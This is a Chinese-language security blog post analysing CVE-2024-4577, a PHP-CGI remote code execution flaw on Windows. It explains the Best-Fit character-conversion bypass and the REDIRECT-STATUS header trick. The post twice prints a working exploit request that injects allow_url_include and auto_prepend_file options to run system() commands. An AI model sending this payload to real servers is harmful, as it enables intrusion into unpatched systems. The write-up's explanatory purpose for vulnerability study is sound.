CVE-2024-4577--PHP-CGI-windows平台远程命令直线漏洞
2024-06-25 / 共计904 字
不怕在黑暗中行走,就怕心中没有光。
Don`t afraid of walking in the dark, afraid of not having light in your heart.
Payload
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host:
REDIRECT-STATUS:1
<?php system("dir")?>
漏洞描述
经过了解该漏洞,发现其实是2012年PHP-CGI远程代码执行的绕过(CVE-2012-1823),其利用了windows对字符编码转换的Best-Fit特性,在简体中文、繁体中文、日语、韩文等语言系统中,由于不存在%ad,通过windows的Best-Fit字符编码转换特性转换成“-”,从而绕过对CVE-2012-1823的防护,进而达到远程命令执行。 (ps:在日后遇到类似情况也可以通过windows对字符编码转换的Best-Fit特性进行绕过) 查看分析修复提交的代码可以看出整个代码块的目的是在Windows环境下才会进行编译。
首先检查字符*p
表示指向当前字符的指针。如果该字符的值大于或等于0x80(128的十六进制表示),则表明这是一个扩展的ASCII字符(即非ASCII标准字符)。
再进行检查字符是否在转换为系统默认的代码页时被转换为连字符(-)或转换失败。如果是,则设置skip_getopt
标志以跳过对这个字符的进一步处理。这样可以避免处理由于字符编码转换不准确导致的问题,从而修复该漏洞。
根据分析修复代码与CVE-2012-1823漏洞即可得出如开头提到的payload:%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input
但是仅仅如此还是不够的,在漏洞利用的时候还是会被拦截: 这是由于php有一个安全配置cgi.force_redirect(默认开启),在cgi代码中可以看到,若当REDIRECT_STATUS、HTTP_REDIRECT_STATUS其中一个不为空,即可绕过该安全配置: 虽然不确定getenv是从哪里获取的配置值,但在代码中能够看到通过getenv获取http_cookie,从而猜测可以通过http头进行提交:
综上所诉,得出payload:
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host:
REDIRECT-STATUS:1
<?php system("dir")?>
漏洞复现
使用payload,执行任意php代码:
文笔垃圾,技术欠缺,欢迎各位师傅请斧正,非常感谢!
如果文章对您有帮助
欢迎关注公众号!
感谢您的支持!